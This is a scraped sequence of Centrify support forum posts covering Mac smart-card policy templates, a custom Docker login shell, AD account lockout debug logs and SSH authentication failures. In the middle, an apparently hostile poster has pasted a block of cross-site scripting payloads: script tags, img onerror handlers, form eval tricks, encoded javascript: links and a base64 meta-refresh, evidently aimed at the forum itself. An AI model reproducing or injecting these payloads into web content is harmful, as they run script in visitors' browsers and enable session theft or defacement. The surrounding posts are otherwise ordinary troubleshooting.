Hi Support26474

Please feel free to let us know if there is any question.

Thank you.

Best Regards,

Henry

Thanks for letting me know. I installed the 2017.1 version but I don't see the new keys available under "Public Key Policies" yet. I confirmed 5.4.1.439 is the installed version of the Group Policy Management Editor Exenstion and the ADUC exension. Is there another component I need to see the new keys?

The only ones that show are Do not Allow private key to be extractable & Store Private and public key in keychain only.

Hi ,

You will also need to update the template. Please find the details on how to update the template in below KB article:

https://centrify.force.com/support/Article/KB-2600-How-to-install-new-Centrify-Group-Policies-templates-for-Mac

Hope this helps.

Regards,

Albert

I have an EC2 box where we have multiple docker containers running (say 10 containers for example).

These containers are created from same docker image. Centrify installation and AD Group join is already configured on EC2 box, which means an user needs to provide their "Single Sign On" credentials in order to login to EC2 box. 

Situation in hand:

We want to create 1 Docker container per user environment. This mean each user will have their own dedicated docker container. 1 centrify user shouldn't be able to login to 2nd centrify user docker container. 

For this we have ceated a custom shell script & placed it inside /usr/local/bin (/usr/local/bin/custom_usr_shell). Permission of custom_usr_shell script is 777.

                cat /usr/local/bin/custom_usr_shell

                      #!/bin/bash

                      container_name=$(logname)

                      docker start $container_name

                      docker exec -it $container_name /bin/bash

We want to run this custom shell (/usr/local/bin/custom_usr_shell) when any centrify user logins to EC2 box because custom script on execution will enable a centrify user to directly go inside their docker container rathr than default /home/<user> location.

Issue being Faced:

Followed instructions abut modifying the shell for all users OR single user but issue still exists.Refer to http://community.centrify.com/t5/Centrify-Express/how-to-change-user-shell/td-p/17480 

Option 1: Modify shell for all users. Performed below with no success.

Modified /etc/centrifydc/centrifydc.conf & changed "# auto.schema.shell: /bin/bash" line to

"auto.schema.shell: /usr/local/bin/custom_usr_shell", followed by adreload & adflush.

Option 2: Modify shell for single user. Performed below as well with no success.

Created passwd.over file with below contents.

                     cat /etc/centrifydc/passwd.ovr

                     +user_id:::::::/usr/local/bin/custom_usr_shell

                     +:::::::

                     chmod 644 /etc/centrifydc/passwd.ovr

                     adreload

                     adflush

Error Message when user tries to login:

Could not chdir to home directory /home/<user_id>: Permission denied
DirectAudit was run as -centrifyda and determined that the real executable to run is /usr/local/bin/custom_usr_shell, however /usr/local/bin/cdax/custom_usr_shell does not seem to exist, or the current user does not have appropriate execute permissions to start it. Please contact your administrator to either replace /usr/local/bin/custom_usr_shell with a known good shell binary (for instance: from media, backups or network), modify the execute permissions on /usr/local/bin/custom_usr_shell, or to manually disable auditing. Note that as auditing for -centrifyda is currently broken, it is recommended that you avoid execution of any scripts which are interpreted by -centrifyda.

DirectAudit tries to maintain a backup copy of the default system shell, while this shell is not currently available, you may be able to mount the appropriate filesystem to retrieve and use that copy in recovery operations. Copies are kept in the following locations: /usr/share/centrifydc/bin/da.emergency.shell and /etc/centrifyda/da.emergency.shell
Connection to xx.xxx.xx.xx closed.

,

Welcome to the forums.

I've taken the liberty of deleting your duplicate posts and moving this post to the corresponding forum (Centrify Express).

Account overrides and auto.schema parameters are not available in the Express version of the product.

Are you using Centrify Express or the commercial version of Centrify?

What I don't understand is why you installed DirectAudit; do you also mean to audit sessions?

Note that if you are a commercial customer, you are entitled to product support.

R.P

I am using centrify commercial product. As I am not part of Centrify Team within my company, my account is not eligible to open a support ticket. Do you have any suggestion on above issue.

We are trying to login with single account on around 100's to 1000's of servers in timeframe of 15-20mins(ID used for triggering few stuffs related to application in repeated intervals after successful login). During the time able to see nearly 30-40% of servers are showing as account locked out for the ID when attemping to login, but rest 60% are successful logins.

When checked in Active Directory, account is not locked out and its successful on rest of the servers mentioned. 

When we try to rerun on the failed servers, it will be again successful after some time. Also, servers and ID are in same domain, no cross domain authentication or servers here.

Hence, not sure why its setting it flag as locked on few servers?

Also is there restriction of single user ID login for larger set of servers in defined timeframe, say only 100 servers single user can login in 10mins or kind of creteria defined from Centrify end?

Please  also find the sample messages per debug logs on the server having account lockout:

5:30:08 DIAG PAMIsUserAllowedAccess2 > base.aduser CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: AccountLocked: false 5:30:08 DEBUG PAMIsUserAllowedAccess2 > audit User 'Account10' is authorized

5:30:08 DEBUG PAMIsUserAllowedAccess2 > daemon.ipcclient2 User 'Account10' is allowed access 5:30:08 DEBUG PAMDoesLegacyConflictExist > daemon.ipcclient2 Checking to see whether a legacy conflict exists for user 'Account10'

5:30:08 DEBUG PAMDoesLegacyConflictExist > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMDoesLegacyConflictExist > adclient.pam.util Checked for local account 'Account10', UID=146923: not found

5:30:08 DEBUG PAMDoesLegacyConflictExist > daemon.ipcclient2 No legacy conflict for user 'Account10' 5:30:08 DEBUG PAMTimeUntilPasswordChange > daemon.ipcclient2 Checking to see how long before a password change is required for user 'Account10' 5:30:08 DEBUG PAMTimeUntilPasswordChange > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMTimeUntilPasswordChange > daemon.ipcclient2 User 'Account10' must change their password in -1337168075 seconds

5:30:08 DEBUG sshd(9582)> AuditTrailEvent: Centrify Suite PAM 300 0.0 (null) Account10 <userSid> (null) 9582

5:30:08 DEBUG ATProxySetAuditTrailEvent > daemon.ipcclient2 AuditTrailEvent from proxy: Centrify Suite PAM 300 0.0  Account10 <userSid> DA_SESSION_ID: [] 9582

5:30:08 DEBUG ATProxySetAuditTrailEvent > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 INFO TRAIL|Centrify Suite|PAM|1.0|300|PAM account management granted|5|user=Account10(type:ad,Account10@CORP.CMP.COM) pid=9582 utc=1496831408894 centrifyEventID=24 300 status=GRANTED service=sshd tty=ssh client=neslx1046.hq.CMP.com

5:30:08 DEBUG PAMUserIsOurResponsibility > daemon.ipcclient2 Checking to see if 'Account10' is our responsibility.

5:30:08 DEBUG PAMUserIsOurResponsibility > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMGetUnixName > daemon.ipcclient2 Getting unix name of 'Account10'

5:30:08 DEBUG PAMGetUnixName > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMGetUnixName > daemon.ipcclient2 Unix name for 'Account10' is 'Account10'

5:30:08 DEBUG sshd(9578)> Set credentials for user 'Account10'

5:30:08 DEBUG sshd(9578)> Setting credentials for user 'Account10'

5:30:08 DEBUG sshd(9578)> Creating credentials for user 'Account10'

5:30:08 DEBUG PAMCreateKrb5Creds > daemon.ipcclient2 Creating krb5 credentials cache for user 'Account10'

5:30:08 DEBUG PAMCreateKrb5Creds > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMCreateKrb5Creds > base.aduser getKerberosName: name=Account10, uobj.isEmpty: false 5

:30:08 DEBUG PAMCreateKrb5Creds > base.aduser Storing credentials for Account10@CORP.CMP.COM in FILE:/tmp/krb5cc_146923

5:30:08 DEBUG sshd(9578)> Set credentials for user 'Account10': Credentials file created in 'FILE:/tmp/krb5cc_146923'

5:30:08 DEBUG sshd(9578)> AuditTrailEvent: Centrify Suite PAM 200 0.0 (null) Account10 <userSid> (null) 9578

5:30:08 DEBUG ATProxySetAuditTrailEvent > daemon.ipcclient2 AuditTrailEvent from proxy: Centrify Suite PAM 200 0.0  Account10 <userSid> DA_SESSION_ID: [] 9578

5:30:08 DEBUG ATProxySetAuditTrailEvent > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 INFO TRAIL|Centrify Suite|PAM|1.0|200|PAM set credentials granted|5|user=Account10(type:ad,Account10@CORP.CMP.COM) pid=9578 utc=1496831408984 centrifyEventID=24200 status=GRANTED service=sshd tty=ssh client=neslx1046.hq.CMP.com

5:30:08 DEBUG PAMGetUnixName > daemon.ipcclient2 Getting unix name of 'Account10'

5:30:08 DEBUG PAMGetUnixName > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMGetUnixName > daemon.ipcclient2 Unix name for 'Account10' is 'Account10'

5:30:08 DEBUG sshd(9578)> Open session for user 'Account10'

5:30:08 DEBUG PAMGetSessionEnv > daemon.ipcclient2 Getting environment variables for user 'Account10'

5:30:08 DEBUG PAMGetSessionEnv > base.aduser Windows Kerberos name for CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: Account10@CORP.CMP.COM

5:30:08 DEBUG PAMGetSessionEnv > daemon.ipcclient2 Completed request for environment variables for user 'Account10'

5:30:08 DEBUG PAMGetSessionEnv > daemon.ipcclient2 USER_PRINCIPAL_NAME = 'Account10@CORP.CMP.COM'

5:30:08 DEBUG sshd(9578)> Open session: Set environment variable "USER_PRINCIPAL_NAME=Account10@CORP.CMP.COM" via pam_putenv

5:30:08 DEBUG PAMCreateHomeDirectory > daemon.ipcclient2 Creating home directory for user 'Account10'

5:30:08 DEBUG PAMCreateHomeDirectory > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 DEBUG PAMCreateHomeDirectory > base.aduser Windows Kerberos name for CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: Account10@CORP.CMP.C OM

5:30:08 DEBUG PAMCreateHomeDirectory > pam.util Directory /home_dir/Account10 for user Account10: already exists.

5:30:08 DEBUG PAMCreateHomeDirectory > pam.util /home_dir/Account10/.k5login already exists. Skip creating.

5:30:08 DEBUG sshd(9578)> Open session for user 'Account10': directory already exists.

5:30:08 DEBUG PAMUserLoggedIn > daemon.ipcclient2 User 'Account10' has logged in

5:30:08 DEBUG sshd(9578)> AuditTrailEvent: Centrify Suite PAM 500 0.0 (null) Account10 <userSid> 48a66c69-60f9-9e4f-9e54-9522ec0ccf53 9578

5:30:08 DEBUG ATProxySetAuditTrailEvent > daemon.ipcclient2 AuditTrailEvent from proxy: Centrify Suite PAM 500 0.0  Account10 <userSid> DA_SESSION_ID: [48a66c69-60f9-9e4f-9 e54-9522ec0ccf53] 9578

5:30:08 DEBUG ATProxySetAuditTrailEvent > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:08 INFO TRAIL|Centrify Suite|PAM|1.0|500|PAM open session granted|5|user=Account10(type:ad,Account10@CORP.CMP.COM) pid=9578 utc=1496831408993 centrifyEventID=24500 st atus=GRANTED service=sshd tty=ssh client=neslx1046.hq.CMP.com

5:30:09 DEBUG PAMGetUnixName > daemon.ipcclient2 Getting unix name of 'Account10'

5:30:09 DEBUG PAMGetUnixName > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:09 DEBUG PAMGetUnixName > daemon.ipcclient2 Unix name for 'Account10' is 'Account10'

5:30:09 DEBUG sshd(9578)> Close session for user 'Account10'

5:30:09 DEBUG sshd(9578)> Close session for user 'Account10': KRB5CCNAME(FILE:/tmp/krb5cc_146923) 5:30:09 DEBUG sshd(9578)> Close session for user 'Account10': AppName(sshd)

5:30:09 DEBUG PAMUserLoggedOut2 > daemon.ipcclient user Account10 just logged out.

5:30:09 DEBUG PAMUserLoggedOut2 > base.kerberos.krb5cacheops removed credentials cache /tmp/krb5cc_146923 for user Account10

5:30:09 DEBUG sshd(9578)> AuditTrailEvent: Centrify Suite PAM 600 0.0 (null) Account10 <userSid> 48a66c69-60f9-9e4f-9e54-9522ec0ccf53 9578

5:30:09 DEBUG ATProxySetAuditTrailEvent > daemon.ipcclient2 AuditTrailEvent from proxy: Centrify Suite PAM 600 0.0  Account10 <userSid> DA_SESSION_ID: [48a66c69-60f9-9e4f-9 e54-9522ec0ccf53] 9578 5:30:09 DEBUG ATProxySetAuditTrailEvent > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:09 INFO TRAIL|Centrify Suite|PAM|1.0|600|PAM close session granted|5|user=Account10(type:ad,Account10@CORP.CMP.COM) pid=9578 utc=1496831409028 centrifyEventID=24600 s tatus=GRANTED service=sshd tty=ssh client=neslx1046.hq.CMP.com

5:30:36 DEBUG PAMUserIsOurResponsibility > daemon.ipcclient2 Checking to see if 'Account10' is our responsibility.

5:30:36 DEBUG PAMUserIsOurResponsibility > adclient.pam.util username Account10, presented: , effective: , unix: unknown

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.ad Cache expired 7eb4168b832d094b91041724fc387480, CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=t arget,DC=com

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.ad Cache expired 7eb4168b832d094b91041724fc387480, CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=t arget,DC=com

5:30:36 DEBUG PAMUserIsOurResponsibility > lrpc.adobject new object: <GUID=7eb4168b832d094b91041724fc387480>;<SID=0105000000000005150000004e69bd022c38e77ecf52185d108c3700 >;CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.user prepare CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com, cacheOps f, new usn 1788 110691, old usn 1786971950

5:30:36 DEBUG PAMUserIsOurResponsibility > base.zonehier fetchAndExtend: Account10

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.ad Cache expired 515f1e54db2f5d44a0738640bc1b25d8, CN=Account10,CN=Users,CN=Zone111,OU=Zones,DC=hq,DC=CMP, DC=com

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.ad CN=Account10,CN=Users,CN=Zone111,OU=Zones,DC=hq,DC=CMP,DC=com merged with cached version

5:30:36 DEBUG PAMUserIsOurResponsibility > base.cache Cache store <GUID=515f1e54db2f5d44a0738640bc1b25d8>;CN=Account10,CN=Users,CN=Zone111,OU=Zones,DC=hq,DC=CMP,DC=com : update indexes No

5:30:36 DEBUG PAMUserIsOurResponsibility > base.schema.cdc get ext type 1 for CN=Account10,CN=Users,CN=Zone111,OU=Zones,DC=hq,DC=CMP,DC=com 

5:30:36 DEBUG PAMUserIsOurResponsibility > base.aduser User  (origUPN: Account10@corp.CMP.com) new UPN: Account10@CORP.CMP.COM 

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.user Membership Update: Up-to-date: CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com (5 groups) 

5:30:36 DEBUG PAMUserIsOurResponsibility > base.objecthelper.user DirectAuthorize is not enabled, skipping check if user Account10 is forced into restricted environment 

5:30:36 DEBUG PAMUserIsOurResponsibility > base.cache Cache store <GUID=7eb4168b832d094b91041724fc387480>;<SID=0105000000000005150000004e69bd022c38e77ecf52185d108c3700>;C N=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com : update indexes No 

5:30:36 DEBUG PAMGetUnixName > daemon.ipcclient2 Getting unix name of 'Account10' 

5:30:36 DEBUG PAMGetUnixName > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 DEBUG PAMGetUnixName > daemon.ipcclient2 Unix name for 'Account10' is 'Account10' 

5:30:36 DEBUG sshd(9627)> Authentication for user 'Account10' 

5:30:36 DEBUG PAMVerifyPassword > daemon.ipcclient2 Verifying password for user 'Account10', application is sshd, DZPamGate check is Disabled 

5:30:36 DEBUG PAMVerifyPassword > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 DEBUG PAMVerifyPassword > daemon.ipcclient validatePlainTextUser Account10 

5:30:36 DIAG PAMVerifyPassword > daemon.ipcclient validatePlainTextUser user=Account10 domain=CORP.CMP.COM 

5:30:36 DIAG PAMVerifyPassword > daemon.ipcclient Validating password for Account10 against KDC 

5:30:36 DEBUG PAMVerifyPassword > base.aduser getKerberosName: name=Account10, uobj.isEmpty: false 

5:30:36 DEBUG PAMVerifyPassword > base.aduser Getting user (user & pw) Account10@CORP.CMP.COM 

5:30:36 DIAG PAMVerifyPassword > base.aduser getCredentials for Account10@CORP.CMP.COM salt:CORP.CMP.COMAccount10 

5:30:36 DIAG PAMVerifyPassword > base.aduser password will expire in 177688 hours for user Account10@CORP.CMP.COM 

5:30:36 DEBUG PAMVerifyPassword > base.objecthelper.user Resetting user Account10: password expiration to Sun Sep 13 21:30:36 2037 

5:30:36 DEBUG PAMVerifyPassword > base.aduser Update user CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: from PAC (justUpdate=1 updateGroups=1) 

5:30:36 DEBUG PAMVerifyPassword > base.objecthelper.user Membership Update: Up-to-date: CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com (5 groups) 

5:30:36 DEBUG PAMVerifyPassword > base.aduser User CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: Found 5 groups in PAC. 

5:30:36 DEBUG PAMVerifyPassword > base.aduser User CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: password times: last Mon Jun  5 07:25:00 2017 , min Tue Jun  6 07:25:00 2017 , max MAXINT64 

5:30:36 DEBUG PAMVerifyPassword > base.objecthelper.user DirectAuthorize is not enabled, skipping check if user Account10 is forced into restricted environment 

5:30:36 DEBUG PAMVerifyPassword > base.cache storeUpdateAttrs in cache CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com 

5:30:36 DEBUG PAMVerifyPassword > daemon.ipcclient savePwdHash for user: Account10@CORP.CMP.COM 

5:30:36 DEBUG PAMVerifyPassword > base.cache Cache store <GUID=7eb4168b832d094b91041724fc387480>;<SID=0105000000000005150000004e69bd022c38e77ecf52185d108c3700>;CN=Account10 ,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com : update indexes No 5:30:36 DIAG PAMVerifyPassword > audit User 'Account10' authenticated based on Kerberos exchange to AD 

5:30:36 DEBUG PAMVerifyPassword > daemon.ipcclient2 Password verification succeeded for user 'Account10' 5:30:36 DEBUG PAMVerifyPassword > daemon.ipcclient2 Stored credentials for user 'Account10', uid 146923 5:30:36 DEBUG sshd(9627)> AuditTrailEvent: Centrify Suite PAM 100 0.0 (null) Account10 <userSid> (null) 9627 

5:30:36 DEBUG ATProxySetAuditTrailEvent > daemon.ipcclient2 AuditTrailEvent from proxy: Centrify Suite PAM 100 0.0  Account10 <userSid> DA_SESSION_ID: [] 9627 

5:30:36 DEBUG ATProxySetAuditTrailEvent > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 INFO TRAIL|Centrify Suite|PAM|1.0|100|PAM authentication granted|5|user=Account10(type:ad,Account10@CORP.CMP.COM) pid=9627 utc=1496831436957 centrifyEventID=24100 status=GRANTED service=sshd tty=ssh client=neslx1046.hq.CMP.com 

5:30:36 DEBUG DAIIsUserAllowedAccessByAudit2 > daemon.ipcclient2 Checking to see if user 'Account10' is allowed access to sshd by audit 

5:30:36 DEBUG DAIIsUserAllowedAccessByAudit2 > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 DEBUG DAIIsUserAllowedAccessByAudit2 > daemon.ipcclient2 Audit level of user 'Account10' is AuditIfPossible 

5:30:36 DEBUG DAIIsUserAllowedAccessByAudit2 > daemon.ipcclient2 User 'Account10' is allowed access by audit 

5:30:36 DEBUG sshd(9627)> Account management for user 'Account10': access granted 

5:30:36 DEBUG PAMGetUnixName > daemon.ipcclient2 Getting unix name of 'Account10' 

5:30:36 DEBUG PAMGetUnixName > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 DEBUG PAMGetUnixName > daemon.ipcclient2 Unix name for 'Account10' is 'Account10' 

5:30:36 DEBUG sshd(9627)> Account management for user 'Account10' 

5:30:36 DEBUG PAMIsUserAllowedAccess2 > daemon.ipcclient2 Checking to see if user 'Account10' is allowed access to sshd from callerUID 0 

5:30:36 DEBUG PAMIsUserAllowedAccess2 > adclient.pam.util username Account10, presented: , effective: , unix: unknown 

5:30:36 DIAG PAMIsUserAllowedAccess2 > base.aduser CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com logonHours = 'fffffffffffffffffffffffffffffffff fffffffff' 

5:30:36 DIAG PAMIsUserAllowedAccess2 > base.aduser CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com logonHours restricted: No 

5:30:36 DIAG PAMIsUserAllowedAccess2 > base.aduser CN=Account10,OU=Applications,OU=ServiceAccounts,DC=corp,DC=CMP,DC=com: AccountLocked: true

I would love to access the PIV keychain via my application and try to unlock it via the application level, however, there is no way for Java to access the protected keychain installed by Centify. I guess I will wait for your updates! Thanks!

Hi,

Thanks for your post.

To better help you, please let us know you which version of Centrify you're running.  You can get the version by running "adinfo -v". 

Regards,

"><link%20rel%3D%27%20import%27%20href%3D%27%3Fxss%3D"><script%20src%3D%2F%2Fajax.googleapis.com%2Fajax%2Fservices%2Ffeed%2Ffind%3Fv%3D1.0%2526callback%3Dalert%2526context%3D1337><%2Fscript>%27>

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https://appengine.google.com/_ah/conflogin?continue=https://bughunter.withgoogle.com/settings&ltmpl#identifier

<form oninput="alert(1)"><input type="range"

 ${echo base64_decode("PGltZy9zcmM9eCBvbiBlcnJvcj1wcm9tcHQoMCk+")}


 Submitted by "onmouseover="confirm(document.domain);"" &lt;/from&gt;&gt;'&gt;"&gt;&lt;form id="myform" value="" action=javascript&amp;Tab;:eval(document.getElementById('myform').elements[0].value)&gt;&lt;textarea&gt;alert(1)&lt;/textarea&gt;&lt;input type="submit" value="sree"&gt;&lt;/form&gt; &lt;/from&gt;&gt;'&gt;"&gt;&lt;form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript &colon;alert (1)"}"action=javascript&amp;Tab;:eval(document.getElementById('myform').elements[0].value)&gt;&lt;textarea&gt;alert(1)&lt;/textarea&gt;&lt;input type="submit" value="sree"&gt;&lt;/form&gt; t3q35q &lt;script&gt;alert(123)&lt;/script&gt; &lt;script&gt;alert("AHSANKHAN");&lt;/script&gt; javascript&colon;alert("hellox worldss") &lt;img src="x-javascript&colon;alert('XSSBYAHSANKHAN');"&gt; &lt;img src=javascript&colon;alert(&amp;quot;XSS&amp;quot;)&gt; &lt;"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt; &lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data&colon;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L less than a minute ago

"onmouseover="confirm(document.domain);"" </from>>'>"><form id="myform" value="" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="sree"></form> </from>>'>"><form id="myform" value=""+{valueOf:location,length:1,proto:[],0:"javascript &colon;alert (1)"}"action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="sree"></form> t3q35q <script>alert("XSS-By-ANEESKHAN")</script> <script>alert("hellox worldss");</script> javascript&colon;alert("hellox worldss") <img src="x-javascript&colon;alert('ANEESKHAN');"> <img src=javascript&colon;alert(&quot;ANEESKHAN&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data&colon;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L



“><img src=x onerror=prompt(1)>

<p><a title="&quot;><img src=x onerror=prompt(1)>" href="/t5/forums/postpage/board-id/spanish/choose-node/true/interaction-style/&quot;&gt;&lt;img src=x onerror=prompt(1)&gt;" target="_self">"&gt;&lt;img src=x onerror=p"&gt;&lt;img src=x onerror=prompt(1)&gt;rompt(1)&gt;</a></p>
</span></p></a>"><img src=x onerror=prompt(1)>"><img src=x onerror=prompt(1)>"">><>?>"><img src=x onerror=prompt(1)></>
"><img src=x onerror=prompt(1)>


</texarea></>">"">">">v"><img src=x onerror=prompt(1)>">"><img src=x onerror=prompt(1)><"
"></span</p></a>">"><img src=x onerror=prompt(1)>"<


</span></p></a>"><img src=x onerror=prompt(1337)>"><img src=x onerror=prompt(1337)>"">><>?>"><img src=x onerror=prompt(1337)></>


<img/onerror=alert(1)+/src/<

%00onfooter=confirm(1) or %00on%00reload=console.log(1)

\ x6a \ x61 \ x76 \ x61 \ x73 \ x63 \ x72 \ x69 \ x70 \ mm \ x3aalert (1)

<iframe src="x-javascript&colon;alert(1):"></iframe>



///ascii encoded///
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>Click Me!</a>

///Hex encoded///
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>Click Me!</a>

///URL HEX///
//base64 encode of <script>alert('xss')</script>//
%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E

//full hex encode of <script>alert('xss')</script>//
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e

I am having the same issue as others on this thread. I ran the diagnostic test and this is what was found... 

2017-06-10 10:22:37.581 SCTool[783:51960] Fail to invoke helper tool: No such file or directory (rc=-1)
Assertion failed: (false), function -[HelperTool executeWithArgs:withObject:], file HelperTool.mm, line 106.

Hi ,

Can you help provide us the entire diagnostic report on this forum post?

Meanwhile, can you please try the following steps and see disabling the build-in SC support on Mac would help?

1. Login as local admin

2. Bring up terminal (which you can search "terminal" to get it)

3. In the terminal session, please copy and paste the below command exactly (or you can type for it):

    sudo defaults write /Library/Preferences/com.apple.security.smartcard DisabledTokens -array

     com.apple.CryptoTokenKit.pivtoken

4. After that it should be disabled. Which you can logout and try again.

Please keep us posted with the result or any update. Thank you!

BR,

Ivan

Too many hours trying to make this work.   I am willing to learn, it can't be this hard.

I completed the install, and it appears to be connected to the DC

sudo adinfo -T 

Domain Diagnostics:
Domain: r##########n.net
DNS query for: _ldap._tcp.r##########n.net
DNS query for: _gc._tcp.r##########n.net
Testing Active Directory connectivity:
Global Catalog: nas2.r##########n.net
gc: 3268/tcp - good
Domain Controller: nas2.r##########n.net
ldap: 389/tcp - good
ldap: 389/udp - good
smb: 445/tcp - good
kdc: 88/tcp - good
kpasswd: 464/tcp - good
ntp: 123/udp - good

sudo adinfo

Local host name: master
Joined to domain: r##########n.net
Joined as: master.r##########n.net
Pre-win2K name: master
Current DC: nas2.r##########n.net
Preferred site: Default-First-Site-Name
Zone: Auto Zone
Last password set: 2017-06-13 10:28:16 CDT
CentrifyDC mode: connected
Licensed Features: Disabled

sudo adinfo -A -u bruce
Active Directory password:
Password for user "bruce" is correct

From /var/log/auth.log

Jun 13 13:06:04 master sudo: radmin : TTY=pts/0 ; PWD=/etc/centrifydc/ssh ; USER=root ; COMMAND=/usr/bin/adinfo -A -u bruce
Jun 13 13:06:04 master sudo: pam_unix(sudo:session): session opened for user root by radmin(uid=0)
Jun 13 13:06:11 master adinfo[5786]: INFO base.nocachemode Disabling the agent directory cache
Jun 13 13:06:11 master adinfo[5786]: INFO AUDIT_TRAIL|Centrify Suite|Trusted Path|1.0|2700|Trusted path granted|5|user=bruce pid=5786 utc=1497377171991 centrifyEventID=23700 DASessID=N/A DAInst=N/A status=GRANTED server=ldap/nas2.r##########n.net@R##########N.NET

However whenever I try to SSH in, I can not get authentication to pass.

ssh 192.168.240.31

Ubuntu 16.04.1 LTS master ssh-pty

Password:
Password:
Password:
bruce@192.168.240.31's password:
Permission denied, please try again.
bruce@192.168.240.31's password:

FROM /var/log/auth.log

Jun 13 13:07:57 master sshd[5854]: Invalid user bruce from 192.168.20.105 port 53977
Jun 13 13:07:57 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(unknown user) pid=5854 utc=1497377277878 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=(unknown service) tty=(no tty) authMechanism=unknown client=192.168.20.105 reason=INVALID_USER(invalid/invalidated user.)
Jun 13 13:07:57 master sshd[5854]: input_userauth_request: invalid user bruce [preauth]
Jun 13 13:07:57 master adclient[1256]: INFO AUDIT_TRAIL|Centrify Suite|Centrify sshd|1.0|101|SSHD denied|5|user=(invalid user) pid=5854 utc=1497377277880 centrifyEventID=27101 DASessID=N/A DAInst=N/A status=DENIED service=(unknown service) tty=(no tty) authMechanism=unknown client=192.168.20.105 reason=INVALID_USER(invalid/invalidated user.)
Jun 13 13:07:57 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:07:57 master adclient[1256]: WARN <fd:10 PAMUserIsOurResponsibility > base.zonehier Failed to extend object for CN=bruce,CN=Users,DC=r##########n,DC=net
Jun 13 13:07:57 master sshd[5854]: Postponed keyboard-interactive for invalid user bruce from 192.168.20.105 port 53977 ssh2 [preauth]
Jun 13 13:08:08 master sshd[5856]: pam_unix(sshd:auth): check pass; user unknown
Jun 13 13:08:08 master sshd[5856]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.20.105
Jun 13 13:08:10 master sshd[5854]: error: PAM: Authentication failure for illegal user bruce from 192.168.20.105
